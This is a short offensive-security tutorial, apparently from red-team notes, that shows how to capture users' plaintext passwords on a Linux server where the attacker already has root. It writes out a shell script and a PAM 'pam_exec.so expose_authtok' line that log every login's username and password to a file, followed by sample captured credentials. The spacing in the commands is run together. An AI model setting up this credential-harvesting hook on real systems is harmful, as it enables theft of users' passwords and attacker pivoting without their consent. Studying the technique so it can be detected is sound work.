With root access on a server we can attach to the SSH service and sniff usernames and passwords in plaintext if a user authenticates. This can be powerful when looking for new accounts to pivot with and/or higher privileged accounts.
## Create the simple script to log logins$vim/usr/local/bin/capture.sh$chmod700/usr/local/bin/capture.sh$cat/usr/local/bin/capture.sh#!/bin/shecho" $(date) $PAM_USER, $(cat-), From: $PAM_RHOST">>/var/log/creds.log## Create log file and set high permissions so no unauthorized suer reads it$touch/var/log/creds.log$chmod600/var/log/creds.log## Edit /etc/pam.d/common-auth and add the following line$vim/etc/pam.d/common-auth$cat/etc/pam.d/common-auth...authoptionalpam_exec.soquietexpose_authtok/usr/local/bin/capture.sh## All services using PAM will now be logged to /var/log/creds.log in clear text➜~cat/var/log/creds.logWedNov2212:54:20CET2023p3,Passw0rd!,From:::1WedNov2212:56:54CET2023void,Passw0rd!,From: